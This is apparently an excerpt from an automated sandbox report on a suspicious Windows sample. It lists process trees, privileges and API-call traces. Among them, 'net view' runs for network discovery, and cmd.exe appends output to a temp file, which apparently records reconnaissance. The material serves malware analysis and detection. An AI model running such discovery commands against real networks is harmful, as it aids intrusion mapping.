[0140.039] GetProcessHeap () returned 0x230000 [0140.039] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xae6) returned 0x2597f0 [0140.039] FreeEnvironmentStringsW (penv=0x248af0) returned 1 [0140.039] GetProcessHeap () returned 0x230000 [0140.039] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x248990 | out: hHeap=0x230000) returned 1 [0140.039] DeleteProcThreadAttributeList (in: lpAttributeList=0x1bf188 | out: lpAttributeList=0x1bf188) [0140.039] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0140.040] _close (_FileHandle=3) returned 0 [0140.041] _get_osfhandle (_FileHandle=1) returned 0x7 [0140.041] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0140.041] _get_osfhandle (_FileHandle=1) returned 0x7 [0140.041] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a34e194 | out: lpMode=0x4a34e194) returned 1 [0140.041] _get_osfhandle (_FileHandle=0) returned 0x3 [0140.041] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a34e198 | out: lpMode=0x4a34e198) returned 1 [0140.041] SetConsoleInputExeNameW () returned 0x1 [0140.041] GetConsoleOutputCP () returned 0x1b5 [0140.041] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a35bfe0 | out: lpCPInfo=0x4a35bfe0) returned 1 [0140.041] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0140.042] exit (_Code=2) Process: id = "22" image_name = "net.exe" filename = "c:\\windows\\system32\\net.exe" page_root = "0x6f65e000" os_pid = "0x6bc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "21" os_parent_pid = "0x248" cmd_line = "net view " cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 297 os_tid = 0x600 Thread: id = 298 os_tid = 0x318 Process: id = "23" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x356000" os_pid = "0x5d0" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0x370" cmd_line = "taskeng.exe {E5BED7F2-7B55-486A-8CE1-15A03FC62B71} S-1-5-18:NT AUTHORITY\\System:Service:" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d2ee" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 303 os_tid = 0x124 Thread: id = 304 os_tid = 0x794 Thread: id = 305 os_tid = 0x32c Thread: id = 306 os_tid = 0x1ec Thread: id = 307 os_tid = 0x994 Thread: id = 308 os_tid = 0x53c Thread: id = 309 os_tid = 0x958 Thread: id = 313 os_tid = 0x928 Thread: id = 551 os_tid = 0x9b4 Thread: id = 561 os_tid = 0x8b0 Process: id = "24" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x19038000" os_pid = "0x330" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0x370" cmd_line = "taskeng.exe {59BECE35-6216-468F-8EB9-3B9941F82D4E} S-1-5-21-2345716840-1148442690-1481144037-1000:YKYD69Q\\aETAdzjz:Interactive:LUA[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 310 os_tid = 0x710 Thread: id = 311 os_tid = 0x6c8 Thread: id = 312 os_tid = 0x77c Thread: id = 316 os_tid = 0x3d4 Thread: id = 317 os_tid = 0xa34 Thread: id = 318 os_tid = 0xa08 Thread: id = 320 os_tid = 0x720 Thread: id = 322 os_tid = 0x760 Thread: id = 550 os_tid = 0xb2c Thread: id = 560 os_tid = 0x848 Process: id = "25" image_name = "officec2rclient.exe" filename = "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe" page_root = "0x1747a000" os_pid = "0x408" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "23" os_parent_pid = "0x5d0" cmd_line = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe\" /update SCHEDULEDTASK displaylevel=False" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d2ee" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 314 os_tid = 0x60c Thread: id = 357 os_tid = 0x7a4 Thread: id = 359 os_tid = 0xb1c Thread: id = 360 os_tid = 0xaf8 Thread: id = 363 os_tid = 0xb90 Thread: id = 364 os_tid = 0x7c4 Thread: id = 367 os_tid = 0x998 Thread: id = 404 os_tid = 0x4b4 Thread: id = 405 os_tid = 0x7dc Thread: id = 411 os_tid = 0x8e8 Thread: id = 423 os_tid = 0xb18 Thread: id = 425 os_tid = 0x5fc Thread: id = 481 os_tid = 0x82c Thread: id = 483 os_tid = 0xbbc Thread: id = 490 os_tid = 0x868 Thread: id = 495 os_tid = 0x924 Thread: id = 510 os_tid = 0x2ac Thread: id = 516 os_tid = 0x9e0 Thread: id = 519 os_tid = 0xa04 Thread: id = 520 os_tid = 0x288 Thread: id = 527 os_tid = 0xa6c Process: id = "26" image_name = "officec2rclient.exe" filename = "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe" page_root = "0x1aedc000" os_pid = "0x764" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "23" os_parent_pid = "0x5d0" cmd_line = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe\" /WatchService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d2ee" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 315 os_tid = 0x6e8 Thread: id = 356 os_tid = 0x91c Thread: id = 358 os_tid = 0xb30 Thread: id = 361 os_tid = 0xafc Thread: id = 362 os_tid = 0x558 Thread: id = 365 os_tid = 0x71c Thread: id = 366 os_tid = 0x9dc Thread: id = 402 os_tid = 0x6bc Thread: id = 403 os_tid = 0x248 Thread: id = 406 os_tid = 0xbf0 Thread: id = 418 os_tid = 0x9bc Thread: id = 420 os_tid = 0x7b8 Thread: id = 422 os_tid = 0xa1c Thread: id = 479 os_tid = 0xbe8 Thread: id = 491 os_tid = 0x51c Thread: id = 514 os_tid = 0x70c Thread: id = 515 os_tid = 0x864 Thread: id = 517 os_tid = 0x3d4 Thread: id = 518 os_tid = 0x9b8 Thread: id = 525 os_tid = 0x18c Thread: id = 528 os_tid = 0xa74 Process: id = "27" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x58145000" os_pid = "0x7dc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x458" cmd_line = "cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 319 os_tid = 0x218 [0140.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x31fcb0 | out: lpSystemTimeAsFileTime=0x31fcb0*(dwLowDateTime=0xfb7ae930, dwHighDateTime=0x1d51ed4)) [0140.178] GetCurrentProcessId () returned 0x7dc [0140.178] GetCurrentThreadId () returned 0x218 [0140.178] GetTickCount () returned 0x2f546 [0140.178] QueryPerformanceCounter (in: lpPerformanceCount=0x31fcb8 | out: lpPerformanceCount=0x31fcb8*=26470325823) returned 1 [0140.179] GetModuleHandleW (lpModuleName=0x0) returned 0x49df0000 [0140.179] __set_app_type (_Type=0x1) [0140.179] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49e17810) returned 0x0 [0140.180] __getmainargs (in: _Argc=0x49e3a608, _Argv=0x49e3a618, _Env=0x49e3a610, _DoWildCard=0, _StartInfo=0x49e1e0f4 | out: _Argc=0x49e3a608, _Argv=0x49e3a618, _Env=0x49e3a610) returned 0 [0140.180] GetCurrentThreadId () returned 0x218 [0140.180] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x218) returned 0x3c [0140.180] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0140.180] GetProcAddress (hModule=0x77040000, lpProcName="SetThreadUILanguage") returned 0x77056d40 [0140.180] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0140.180] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0140.180] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x31fc48 | out: phkResult=0x31fc48*=0x0) returned 0x2 [0140.181] VirtualQuery (in: lpAddress=0x31fc30, lpBuffer=0x31fbb0, dwLength=0x30 | out: lpBuffer=0x31fbb0*(BaseAddress=0x31f000, AllocationBase=0x220000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0140.181] VirtualQuery (in: lpAddress=0x220000, lpBuffer=0x31fbb0, dwLength=0x30 | out: lpBuffer=0x31fbb0*(BaseAddress=0x220000, AllocationBase=0x220000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0140.181] VirtualQuery (in: lpAddress=0x221000, lpBuffer=0x31fbb0, dwLength=0x30 | out: lpBuffer=0x31fbb0*(BaseAddress=0x221000, AllocationBase=0x220000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0140.181] VirtualQuery (in: lpAddress=0x224000, lpBuffer=0x31fbb0, dwLength=0x30 | out: lpBuffer=0x31fbb0*(BaseAddress=0x224000, AllocationBase=0x220000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0140.181] VirtualQuery (in: lpAddress=0x320000, lpBuffer=0x31fbb0, dwLength=0x30 | out: lpBuffer=0x31fbb0*(BaseAddress=0x320000, AllocationBase=0x320000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0140.181] GetConsoleOutputCP () returned 0x1b5 [0140.181] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e2bfe0 | out: lpCPInfo=0x49e2bfe0) returned 1 [0140.181] SetConsoleCtrlHandler (HandlerRoutine=0x49e13184, Add=1) returned 1 [0140.181] _get_osfhandle (_FileHandle=1) returned 0x7 [0140.181] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0140.181] _get_osfhandle (_FileHandle=1) returned 0x7 [0140.181] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49e1e194 | out: lpMode=0x49e1e194) returned 1 [0140.182] _get_osfhandle (_FileHandle=1) returned 0x7 [0140.182] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0140.182] _get_osfhandle (_FileHandle=0) returned 0x3 [0140.182] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49e1e198 | out: lpMode=0x49e1e198) returned 1 [0140.182] _get_osfhandle (_FileHandle=0) returned 0x3 [0140.182] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0140.182] GetEnvironmentStringsW () returned 0x4c9ab0* [0140.182] GetProcessHeap () returned 0x4b0000 [0140.182] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xa78) returned 0x4ca530 [0140.182] FreeEnvironmentStringsW (penv=0x4c9ab0) returned 1 [0140.182] GetProcessHeap () returned 0x4b0000 [0140.182] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4cafb0 [0140.182] GetEnvironmentStringsW () returned 0x4c9ab0* [0140.182] GetProcessHeap () returned 0x4b0000 [0140.183] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xa78) returned 0x4cafd0 [0140.183] FreeEnvironmentStringsW (penv=0x4c9ab0) returned 1 [0140.183] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x31eb08 | out: phkResult=0x31eb08*=0x44) returned 0x0 [0140.183] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x31eb00, lpData=0x31eb20, lpcbData=0x31eb04*=0x1000 | out: lpType=0x31eb00*=0x0, lpData=0x31eb20*=0x18, lpcbData=0x31eb04*=0x1000) returned 0x2 [0140.183] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x31eb00, lpData=0x31eb20, lpcbData=0x31eb04*=0x1000 | out: lpType=0x31eb00*=0x4, lpData=0x31eb20*=0x1, lpcbData=0x31eb04*=0x4) returned 0x0 [0140.183] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x31eb00, lpData=0x31eb20, lpcbData=0x31eb04*=0x1000 | out: lpType=0x31eb00*=0x0, lpData=0x31eb20*=0x1, lpcbData=0x31eb04*=0x1000) returned 0x2 [0140.183] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x31eb00, lpData=0x31eb20, lpcbData=0x31eb04*=0x1000 | out: lpType=0x31eb00*=0x4, lpData=0x31eb20*=0x0, lpcbData=0x31eb04*=0x4) returned 0x0 [0140.183] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x31eb00, lpData=0x31eb20, lpcbData=0x31eb04*=0x1000 | out: lpType=0x31eb00*=0x4, lpData=0x31eb20*=0x40, lpcbData=0x31eb04*=0x4) returned 0x0 [0140.183] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x31eb00, lpData=0x31eb20, lpcbData=0x31eb04*=0x1000 | out: lpType=0x31eb00*=0x4, lpData=0x31eb20*=0x40, lpcbData=0x31eb04*=0x4) returned 0x0 [0140.183] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x31eb00, lpData=0x31eb20, lpcbData=0x31eb04*=0x1000 | out: lpType=0x31eb00*=0x0, lpData=0x31eb20*=0x40, lpcbData=0x31eb04*=0x1000) returned 0x2 [0140.183] RegCloseKey (hKey=0x44) returned 0x0 [0140.183] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x31eb08 | out: phkResult=0x31eb08*=0x44) returned 0x0 [0140.183] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x31eb00, lpData=0x31eb20, lpcbData=0x31eb04*=0x1000 | out: lpType=0x31eb00*=0x0, lpData=0x31eb20*=0x40, lpcbData=0x31eb04*=0x1000) returned 0x2 [0140.183] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x31eb00, lpData=0x31eb20, lpcbData=0x31eb04*=0x1000 | out: lpType=0x31eb00*=0x4, lpData=0x31eb20*=0x1, lpcbData=0x31eb04*=0x4) returned 0x0 [0140.183] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x31eb00, lpData=0x31eb20, lpcbData=0x31eb04*=0x1000 | out: lpType=0x31eb00*=0x0, lpData=0x31eb20*=0x1, lpcbData=0x31eb04*=0x1000) returned 0x2 [0140.183] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x31eb00, lpData=0x31eb20, lpcbData=0x31eb04*=0x1000 | out: lpType=0x31eb00*=0x4, lpData=0x31eb20*=0x0, lpcbData=0x31eb04*=0x4) returned 0x0 [0140.183] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x31eb00, lpData=0x31eb20, lpcbData=0x31eb04*=0x1000 | out: lpType=0x31eb00*=0x4, lpData=0x31eb20*=0x9, lpcbData=0x31eb04*=0x4) returned 0x0 [0140.183] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x31eb00, lpData=0x31eb20, lpcbData=0x31eb04*=0x1000 | out: lpType=0x31eb00*=0x4, lpData=0x31eb20*=0x9, lpcbData=0x31eb04*=0x4) returned 0x0 [0140.183] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x31eb00, lpData=0x31eb20, lpcbData=0x31eb04*=0x1000 | out: lpType=0x31eb00*=0x0, lpData=0x31eb20*=0x9, lpcbData=0x31eb04*=0x1000) returned 0x2 [0140.184] RegCloseKey (hKey=0x44) returned 0x0 [0140.184] time (in: timer=0x0 | out: timer=0x0) returned 0x5cfd2091 [0140.184] srand (_Seed=0x5cfd2091) [0140.184] GetCommandLineW () returned="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0140.184] GetCommandLineW () returned="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0140.184] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e2c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0140.184] GetProcessHeap () returned 0x4b0000 [0140.184] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x218) returned 0x4cba50 [0140.184] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4cba60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0140.184] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e1f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0140.184] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e1f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0140.184] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49e1f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0140.184] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0140.184] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0140.184] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0140.184] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0140.184] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0140.184] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0140.184] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0140.184] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0140.184] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0140.185] GetProcessHeap () returned 0x4b0000 [0140.185] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ca530 | out: hHeap=0x4b0000) returned 1 [0140.185] GetEnvironmentStringsW () returned 0x4c9ab0* [0140.185] GetProcessHeap () returned 0x4b0000 [0140.185] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xa90) returned 0x4cc710 [0140.185] FreeEnvironmentStringsW (penv=0x4c9ab0) returned 1 [0140.185] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49e1f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0140.185] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49e1f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0140.185] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0140.185] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0140.185] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0140.185] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0140.185] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0140.185] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0140.185] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0140.185] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0140.185] GetProcessHeap () returned 0x4b0000 [0140.185] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x38) returned 0x4c64f0 [0140.185] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x31f910 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0140.185] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x31f910, lpFilePart=0x31f8f0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x31f8f0*="system32") returned 0x13 [0140.185] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0140.185] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x31f620 | out: lpFindFileData=0x31f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc77c7e0, ftLastAccessTime.dwHighDateTime=0x1d4d5d9, ftLastWriteTime.dwLowDateTime=0xdc77c7e0, ftLastWriteTime.dwHighDateTime=0x1d4d5d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe20000e2, cFileName="Windows", cAlternateFileName="")) returned 0x4c8340 [0140.186] FindClose (in: hFindFile=0x4c8340 | out: hFindFile=0x4c8340) returned 1 [0140.186] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x31f620 | out: lpFindFileData=0x31f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd859920, ftLastAccessTime.dwHighDateTime=0x1d4d5f8, ftLastWriteTime.dwLowDateTime=0xd859920, ftLastWriteTime.dwHighDateTime=0x1d4d5f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe20000e2, cFileName="System32", cAlternateFileName="")) returned 0x4c8340 [0140.186] FindClose (in: hFindFile=0x4c8340 | out: hFindFile=0x4c8340) returned 1 [0140.186] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0140.186] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0140.186] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0140.186] GetProcessHeap () returned 0x4b0000 [0140.186] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4cc710 | out: hHeap=0x4b0000) returned 1 [0140.186] GetEnvironmentStringsW () returned 0x4c9ab0* [0140.186] GetProcessHeap () returned 0x4b0000 [0140.186] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xac0) returned 0x4cbc70 [0140.186] FreeEnvironmentStringsW (penv=0x4c9ab0) returned 1 [0140.186] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e2c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0140.186] GetProcessHeap () returned 0x4b0000 [0140.186] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c64f0 | out: hHeap=0x4b0000) returned 1 [0140.186] GetProcessHeap () returned 0x4b0000 [0140.186] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4016) returned 0x4cdc80 [0140.187] 